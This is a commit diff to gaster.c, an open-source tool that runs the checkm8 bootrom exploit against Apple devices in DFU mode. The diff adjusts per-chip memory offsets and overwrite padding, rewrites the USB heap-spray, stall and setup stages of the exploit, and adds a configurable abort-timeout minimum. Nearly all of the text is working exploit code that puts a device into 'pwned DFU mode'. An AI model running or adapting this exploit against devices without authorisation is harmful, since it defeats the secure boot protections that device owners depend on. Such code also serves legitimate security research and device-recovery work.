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@0x7ff
0x7ff committed Feb 2, 2023
1 parent 7ffffff commit 7ffffff
Showing 1 changed file with 33 additions and 45 deletions.
78 changes: 33 additions & 45 deletions gaster.c
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Original file line number Diff line number Diff line change
Expand Up @@ -150,7 +150,6 @@ extern unsigned payload_A9_bin_len, payload_notA9_bin_len, payload_notA9_armv7_b
#include "payload_handle_checkm8_request_armv7.h"

static uint16_t cpid;
static unsigned usb_timeout;
static uint32_t payload_dest_armv7;
static const char *pwnd_str = " PWND:[checkm8]";
static der_item_spec_t der_img4_item_specs[] = {
Expand All @@ -164,6 +163,7 @@ static der_item_spec_t der_img4_item_specs[] = {
{ 4, DER_OCTET_STR, DER_FLAG_OPTIONAL },
{ 5, DER_SEQ, DER_FLAG_OPTIONAL }
};
static unsigned usb_timeout, usb_abort_timeout_min;
static struct {
uint8_t b_len, b_descriptor_type;
uint16_t bcd_usb;
Expand Down Expand Up @@ -564,7 +564,7 @@ checkm8_check_usb_device(usb_handle_t *handle, void *pwned) {
} else if(strstr(usb_serial_num, " SRTG:[iBoot-1704.10]") != NULL) {
cpid = 0x8960;
config_large_leak = 7936;
config_overwrite_pad = 0x7C0;
config_overwrite_pad = 0x5C0;
patch_addr = 0x100005CE0;
memcpy_addr = 0x10000ED50;
aes_crypto_cmd = 0x10000B9A8;
Expand All @@ -587,7 +587,7 @@ checkm8_check_usb_device(usb_handle_t *handle, void *pwned) {
gUSBSerialNumber = 0x180088E48;
dfu_handle_request = 0x180088DF8;
usb_core_do_transfer = 0x100011BB4;
dfu_handle_bus_reset = 0x180088E28;
dfu_handle_bus_reset = 0x180088E18;
insecure_memory_base = 0x180380000;
handle_interface_request = 0x100011EE4;
usb_create_string_descriptor = 0x100011074;
Expand All @@ -602,7 +602,7 @@ checkm8_check_usb_device(usb_handle_t *handle, void *pwned) {
gUSBSerialNumber = 0x1800888C8;
dfu_handle_request = 0x180088878;
usb_core_do_transfer = 0x10000EBB4;
dfu_handle_bus_reset = 0x1800888A8;
dfu_handle_bus_reset = 0x180088898;
insecure_memory_base = 0x180380000;
handle_interface_request = 0x10000EEE4;
usb_create_string_descriptor = 0x10000E074;
Expand Down Expand Up @@ -844,23 +844,38 @@ checkm8_stage_reset(const usb_handle_t *handle) {
return false;
}

static bool
checkm8_stage_setup(const usb_handle_t *handle) {
unsigned usb_abort_timeout = usb_timeout - 1;
transfer_ret_t transfer_ret;

for(;;) {
if(send_usb_control_request_async_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_MAX_TRANSFER_SZ, usb_abort_timeout, &transfer_ret) && transfer_ret.sz < config_overwrite_pad && send_usb_control_request_no_data(handle, 0, 0, 0, 0, config_overwrite_pad - transfer_ret.sz, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL) {
return true;
}
send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ, NULL);
usb_abort_timeout = (usb_abort_timeout + 1) % (usb_timeout - usb_abort_timeout_min + 1) + usb_abort_timeout_min;
}
return false;
}

static bool
checkm8_usb_request_leak(const usb_handle_t *handle) {
transfer_ret_t transfer_ret;

return send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, EP0_MAX_PACKET_SZ, config_large_leak == 0 ? 1 : 0, &transfer_ret) && transfer_ret.sz == 0;
return send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, EP0_MAX_PACKET_SZ, 1, &transfer_ret) && transfer_ret.sz == 0;
}

static void
checkm8_stall(const usb_handle_t *handle) {
unsigned usb_abort_timeout = usb_timeout;
unsigned usb_abort_timeout = usb_timeout - 1;
transfer_ret_t transfer_ret;

for(;;) {
if(send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ, usb_abort_timeout, &transfer_ret) && transfer_ret.sz < 3 * EP0_MAX_PACKET_SZ && checkm8_usb_request_leak(handle)) {
break;
}
usb_abort_timeout = (usb_abort_timeout + 1) % usb_timeout;
usb_abort_timeout = (usb_abort_timeout + 1) % (usb_timeout - usb_abort_timeout_min + 1) + usb_abort_timeout_min;
}
}

Expand All @@ -878,16 +893,9 @@ checkm8_usb_request_stall(const usb_handle_t *handle) {
return send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL;
}

static bool
checkm8_usb_request_no_leak(const usb_handle_t *handle) {
transfer_ret_t transfer_ret;

return send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 2 * EP0_MAX_PACKET_SZ, 0, &transfer_ret) && transfer_ret.sz == 0;
}

static bool
checkm8_stage_spray(const usb_handle_t *handle) {
size_t i, config_leak;
size_t i;

if(config_large_leak == 0) {
if(cpid == 0x7001 || cpid == 0x7000 || cpid == 0x7002 || cpid == 0x8003 || cpid == 0x8000) {
Expand All @@ -901,39 +909,14 @@ checkm8_stage_spray(const usb_handle_t *handle) {
}
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 3 * EP0_MAX_PACKET_SZ + 1, NULL);
} else {
send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, 0, NULL);
dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_SYNC);
dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST);
if((config_leak = config_large_leak % EP0_MAX_PACKET_SZ) == 0) {
while(!checkm8_usb_request_no_leak(handle) || !checkm8_usb_request_leak(handle) || !checkm8_usb_request_stall(handle)) {}
} else {
for(i = 0; i < config_leak; ++i) {
while(!checkm8_usb_request_no_leak(handle) || !checkm8_usb_request_leak(handle)) {}
}
for(i = 0; i < (config_large_leak - config_leak) / (2 * EP0_MAX_PACKET_SZ); ++i) {
while(!checkm8_usb_request_stall(handle)) {}
}
for(i = 0; i < config_large_leak; ++i) {
while(!checkm8_usb_request_stall(handle)) {}
}
send_usb_control_request_no_data(handle, 0x80, 8, 0, 0, 2 * EP0_MAX_PACKET_SZ + 1, NULL);
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0, NULL);
}
return true;
}

static bool
checkm8_stage_setup(const usb_handle_t *handle) {
unsigned usb_abort_timeout = usb_timeout;
transfer_ret_t transfer_ret;

for(;;) {
if(send_usb_control_request_async_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_MAX_TRANSFER_SZ, usb_abort_timeout, &transfer_ret) && transfer_ret.sz < config_overwrite_pad && send_usb_control_request_no_data(handle, 0, 0, 0, 0, config_overwrite_pad - transfer_ret.sz, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL) {
return true;
}
send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ, NULL);
usb_abort_timeout = (usb_abort_timeout + 1) % usb_timeout;
}
return false;
}

static size_t
usb_rop_callbacks(uint8_t *buf, uint64_t addr, const callback_t *callbacks, size_t callback_cnt) {
uint8_t block_0[MAX_BLOCK_SZ], block_1[MAX_BLOCK_SZ];
Expand Down Expand Up @@ -1641,14 +1624,18 @@ gaster_reset(usb_handle_t *handle) {

int
main(int argc, char **argv) {
char *env_usb_timeout = getenv("USB_TIMEOUT");
char *env_usb_timeout = getenv("USB_TIMEOUT"), *env_usb_abort_timeout_min = getenv("USB_ABORT_TIMEOUT_MIN");
int ret = EXIT_FAILURE;
usb_handle_t handle;

if(env_usb_timeout == NULL || sscanf(env_usb_timeout, "%u", &usb_timeout) != 1) {
if(env_usb_timeout == NULL || sscanf(env_usb_timeout, "%u", &usb_timeout) != 1 || usb_timeout < 1) {
usb_timeout = 5;
}
printf("usb_timeout: %u\n", usb_timeout);
if(env_usb_abort_timeout_min == NULL || sscanf(env_usb_abort_timeout_min, "%u", &usb_abort_timeout_min) != 1 || usb_abort_timeout_min > usb_timeout) {
usb_abort_timeout_min = 0;
}
printf("usb_abort_timeout_min: %u\n", usb_abort_timeout_min);
if(argc == 2 && strcmp(argv[1], "reset") == 0) {
if(gaster_reset(&handle)) {
ret = 0;
Expand All @@ -1669,6 +1656,7 @@ main(int argc, char **argv) {
printf("Usage: env %s options\n", argv[0]);
puts("env:");
puts("USB_TIMEOUT - USB timeout in ms");
puts("USB_ABORT_TIMEOUT_MIN - USB abort timeout minimum in ms");
puts("options:");
puts("reset - Reset DFU state");
puts("pwn - Put the device in pwned DFU mode");
Expand Down

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